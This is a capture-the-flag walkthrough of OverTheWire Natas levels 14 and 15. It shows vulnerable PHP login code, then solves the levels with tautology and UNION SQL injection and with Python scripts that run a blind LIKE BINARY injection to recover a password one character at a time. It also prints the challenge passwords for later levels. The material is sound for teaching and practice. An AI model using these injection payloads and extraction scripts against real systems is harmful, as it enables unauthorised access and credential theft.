Overthewire: Natas Level 14 and 15
Table of Contents
Overthewire - Natas
This series on the overthewire webpage challenges you to think outside the box and more about communication between client and server in order to find the hidden flag on the website for the next level. The structure of the challenge is that for each level you require a user name and password to authenticate to the next level challenge website. The username is natas[X] with X being the current level (e.g. natas5 for level 5), the corresponding URL is “http: //natas[X].natas.labs.overthewire.org/", X again being the level number e.g. “http://natas5.natas.labs.overthewire.org/" for the fifth level, and the password consists of 32 alphanumeric characters.
And now without further ado, let’s get to it:
natas14
Another Level, another Challenge! This time we have two input fields, “Username” and “Password”, a “Login” button and again the possibility to view the source code.
What if I simply logged in with standard credentials, say “admin” “admin”?
Let’s look at the source code:
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
Ok 1. we are dealing with a MYSQL solution at the backend of the server. 2. this is cleary a non sanitized input so no Prepared Statements are used. 3. The Query is "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
which means please return anything from a table called users where the entered username and password matches. 4. If we pass this check if(mysql_num_rows(mysql_query($query, $link)) > 0)
we get the password for the next level. So if we manage to get more than 0 rows as a result back (mysql_num_rows) we pass the test and get the password for natas15.
Our way in is to create an SQL statement that returns at least one row as output, so we will have to try with an SQL injection.
As no special characters are sanitized in the PHP backend, we can try standard attempts such as commenting parts of the query out with “–” or terminating the statement with “;".
Oh and if we want to check what we are actually doing, we can send our parameters via a $_GET instead of a $_POST request and including the “debug” key in our query. This works because of
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
So we can start by using one of the standard check to see, whether an SQL injection is even possible (” OR 1=1–). We enter: http: //natas14.natas.labs.overthewire.org/index.php?debug=1&&username=admin%22%20OR%201=1–%20&&password=admin
Alright we got access, but …why? “OR 1=1” is a tautology, an always true statement, so the query select anything (*) from table users where the username is “admin” OR “anything”, so it returns all rows in the table and as long as there is one or more users existing in the users table, the number of rows of the return value of that query is larger than 0, thus grants us access.
I found another great website on this topic: sqlhack.com With it, I figured out yet another possible query: SELECT * from users where username="admin” union all SELECT * from users – " and password="admin” This simply returns all users in table “users”. As long as there is one entry in the table, we get access.
Spoiler natas15:
Username: natas15Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
URL: http://natas15.natas.labs.overthewire.org
natas15
This time we have a username input field and a “Check Existence” button. Let’s check the existence of “Bobby”:
Ok now we know “Bobby” is not in the database and yes we could try quite the list of names but which make sense? Maybe before we go on, let’s look at the source code:
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
Well it is nice, that this helpful comment about the ‘users’ table is there. varchar contains non-binary strings with columns being of variable-length strings. The advantage of varchar over char is that it actually takes only as much space as the data is long. So the username or password could be between 1 and 64 byte.
What does the rest of the code do?
Hooray - “debug” is back - we just have to use a $_GET instead of a $_POST request.
What else? We have a query $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
, so the query selects anything from the table users with a username that is contained in the user inputted “username” $_REQUEST field. If the result returns one or more user, the program tells us that the specific user (or more of its kind) exist.
All of this is nice and good, but how can the information whether a user exists help us get the password for the next level? Btw, let’s check the entry for the next level natas16:
OK, we know the user natas16 does exist and now we need to get his password. We have to craft another SQL injection to get it. We know that if we craft our query correctly and guess parts of the password right, we get a “This user exists” back. Let’s try this: We know that the alphabet of the password in alphanumeric with lower and upper case so the alphabet consists of [a-zA-Z0-9] and the password is 32 letters long.
Before continuing we also have to know about SQL wildcards.These characters are used with the LIKE operator and represent a certain pattern e.g. “*” for representing one or more characters, “?” representing a single character, “%” representing zero or more characters.
What if we try to find out the letters of the password first and the order?
For instance we can check with the “LIKE %a%, whether the password contains any “a"s.
Let’s try:
We craft this query: username=natas16" and password LIKE "%a%
So we ask for a username “natas16” - terminating the username field with the ‘"’ and the ask about his password with the LIKE operator and the {“any character” somewhere an ‘a’ and “any character” again} query for the password.
If we get a “This user exists” back, we know that an “a” is part of natas16 password!
Let’s do this:
There are some interesting things going on in this picture: First of all we notice that our URL got URL encoded so e.g. a “space” (” “) is either replace by a “+” or a “%20” in our case. URL encoding plays an important role when crafting your payload! The second important observation is that we were right and our query works. However, [A-Za-z0-9] are 62 possible characters and that is only for identifying the existence of certain letters in that password, not the order! We need help. We need python!
#!/usr/bin/env python3
import requests
user = 'natas15'
password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
resp = requests.request(method='GET', url="http://natas15.natas.labs.overthewire.org", auth=(user, password))
print(resp.text)
This simple script access our target website, with the correct credentials in place and returns the response text of the website back to us. When we run it, we get:
python3 natas15.py
<html>
<head>
[...]
<body>
<h1>natas15</h1>
<div id="content">
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Perfect! We will use this simple script as a base and now insert our SQL injection in the URL:
resp = requests.request(method='GET', url='http://natas15.natas.labs.overthewire.org/index.php?debug=1&&username=natas16" and password LIKE "%a%', auth=(user, password))
We receive: [...]This user exists.[...]
.
Ok the game. Is. On.
What if we automated the query and found out the alphabet for natas16’s password?
Let’s do this:
#!/usr/bin/env python3
import requests
import string
# That is [a-zA-Z0-9]
password_alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits
natas16_alphabet = ""
user = 'natas15'
password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
for letter in password_alphabet:
resp = requests.request(method='GET', url='http://natas15.natas.labs.overthewire.org/index.php?debug=1&&username=natas16" and password LIKE "%' + letter + '%', auth=(user, password))
# If the query returns that this user exists
# we know another letter for our alphabet.
if "This user exists" in resp.text:
natas16_alphabet += letter
print(natas16_alphabet)
Ok this worked and we got the following back: [abcehijmnopqrtwABCEHIJMNOPQRTW03569]
Now we only have to get the letters in the right order.
But how do we do that? I guess the LIKE “%” operator has to come to our rescue:
If we modify the query as follows: username=natas16" and password LIKE "+ letter + '%'
we check which character of our natas16 password’s alphabet comes next and the “%” parameter makes sure whatever comes after that character does not matter for the query to return “This user exists” to us.
Let’s modify our python code:
#!/usr/bin/env python3
import requests
import string
password_alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits
natas16_alphabet = ""
user = 'natas15'
password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
natas16_alphabet = "abcehijmnopqrtwABCEHIJMNOPQRTW03569"
natas16_password = ""
for i in range(0, 32):
for letter in natas16_alphabet:
resp = requests.request(method='GET', url='http://natas15.natas.labs.overthewire.org/index.php?debug=1&&username=natas16" and password LIKE "' + natas16_password + letter + '%', auth=(user, password))
if "This user exists" in resp.text:
natas16_password += letter
break
print(natas16_password)
Once we ran this we get: [waiheacj63wnnibroheqi3p9t0m5nhmh]
Ok dang, we forgot that the LIKE % operator does not respect upper and lower case characters the way we anticipated it.
as out natas16 alphabet starts with lower case letters, the password response only contains lower case letters as for the “LIKE letter%” operation e.g. a “w” equals a “W”.
However there is the LIKE BINARY operator, that comes to our rescue.
Once again we modify our source code:
[...]
resp = requests.request(method='GET', url='http://natas15.natas.labs.overthewire.org/index.php?debug=1&&username=natas16" and password LIKE BINARY "' + natas16_password + letter + '%', auth=(user, password))
After a bit of waiting, we receive:
Spoiler natas16:
Username: natas16Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
URL: http://natas16.natas.labs.overthewire.org
Wrap Up
From my point of view the difficulty, especially of natas level 16, increased a lot compared to the previous levels. But what did we learn? We learnt about SQL queries and their implementation in PHP, SQL Injection attacks using tricks such as tautologies (” OR 1=1), extension of queries with UNION ALL, python3 requests library and the possibility to communicate via the python interface with a website, speeding up the process by a lot and finally wildcards and their (ab)use in SQL queries.
I think this level was a lot of fun! Let’s continue on…
See you soon. :)